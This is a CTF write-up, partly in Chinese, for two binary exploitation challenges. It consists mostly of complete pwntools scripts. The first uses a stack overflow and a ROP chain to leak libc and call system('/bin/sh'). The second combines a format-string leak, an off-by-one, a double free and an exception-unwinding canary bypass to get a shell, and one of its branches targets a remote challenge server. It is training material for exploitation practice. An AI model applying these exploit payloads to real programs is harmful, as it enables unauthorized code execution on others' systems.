pwn1 what the f**k printf?
输入16个32能够溢出
泄露libc 获取shell
#coding=utf-8
from pwn import *
local=1
pop_rdi_ret=0x0000000000401213
valu_addr=0x000000000401181
if local:
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level='debug'
context.arch='amd64'
# pop= int(enhex(asm("pop rdi;ret")),16)
# print
p=process("./pwn_printf")
p.recvuntil("You will find this game very interesting\n")
# print(pop)
p.sendline(str(50015))
for item in range(15):
p.sendline("32")
elf=ELF("./pwn_printf")
# gdb.attach(p,"b *0x0000000000401181")
payload=p64(0)+p64(pop_rdi_ret)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(pop_rdi_ret)+p64(0x20)+p64(valu_addr)
p.sendline(payload)
libc_info=p.recv(6)+b"\x00\x00"
libc_info=u64(libc_info)
libc.address=libc_info-0x6f6a0
print(hex(libc_info))
payload=p64(0)+p64(pop_rdi_ret)+p64(libc.search("/bin/sh").next())+p64(libc.symbols["system"])
p.sendline(payload)
p.interactive()
#1.直接用call函数不是更好?为什么在call完之后调用
遇到问题:
- 原来使用Ubuntu18的环境运行,在第二次拿shell的时候总是失败
- 偏移用libc_search搜索出来的,但是还是不准.
- 在第二次拿shell的时候可以跳过call,上面的脚本运行了call指令,实际上最好是不用call指令,用了call指令在Ubuntu18环境里可能会出问题,具体原因不知道.
pwn2
- 在read的时候有off-by-one
- 在show_name的时候有格式化字符串漏洞
- free之后指针没有清零,有doublefree
unwind过程完成之后将会运行到程序的空间由用户定义的catch函数进行接下来的操作(注意:在catch之前不能修改返回地址可能会跳不到catch函数),整个过程跳过了canary检测
直接进行了leave,ret跳过了canary的检测
leave指令进行了
mov esp,ebp; 恢复esp同时回收局部变量空间
pop ebp; 从栈中恢复保存的ebp的值
再次执行leave,ret指令的时候程序会跳转到ebp+4存放的地址将会是返回地址。
这里在堆上布置好rop
exp
from pwn import *
file_path = "./blend_pwn"
context.arch = "amd64"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x121c)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.104.169', 57404)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
# p=process("./blend_pwn")
def debug_1(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def leak_result(until):
p.recvuntil(until)
info=p.recv(6).ljust(8,"\x00")
result=u64(info)
print("leak_result content address: ",hex(result))
return result
def send_name(content):
p.recvuntil("name: ")
p.send(content)
def show_name():
p.recvuntil("choice >")
p.sendline("1")
def new_node(content):
p.recvuntil("choice >")
p.sendline("2")
p.recvuntil("input note:\n")
p.send(content)
def delete_node(index):
p.recvuntil("choice >")
p.sendline("3")
p.recvuntil("index>")
p.sendline(str(index))
def show_node():
p.recvuntil("choice >")
p.sendline("4")
def gift(content):
p.recvuntil("choice >")
p.sendline("666")
p.recvuntil(" want:")
p.send(content)
def get_formate_result(until="0x",length=12):
info=p.recv()
info=info.split("0x")
info=[i[0:length] for i in info]
print("leak info (may set a and b to get real info) : ",info)
return info
def get_int(content):
content=[int(i,16) for i in content]
out=[hex(i) for i in content]
print("content to int end is : ",out)
return content
send_name("%p-%p")
show_name()
info=get_formate_result()
info=get_int(info[1:])
libc.address=info[1]-0x3c6780
pop_rdi_ret=libc.address+0x0000000000021112
payload="a"*16+p64(0)+p64(pop_rdi_ret)+p64(libc.search("/bin/sh").next())+p64(libc.symbols["system"])+"\n"
p.sendline("2")
p.recvuntil("input note:\n")
p.send(payload)
new_node(payload)
delete_node(1)
delete_node(0)
show_node()
heap_addr=leak_result("index 1:")+0x20
# gift("a"+"\n")
#debug_1([0x00000000000012C2,0x0000000000011B8])
gift("a"*0x20+p64(heap_addr)+"\xa9")
p.interactive()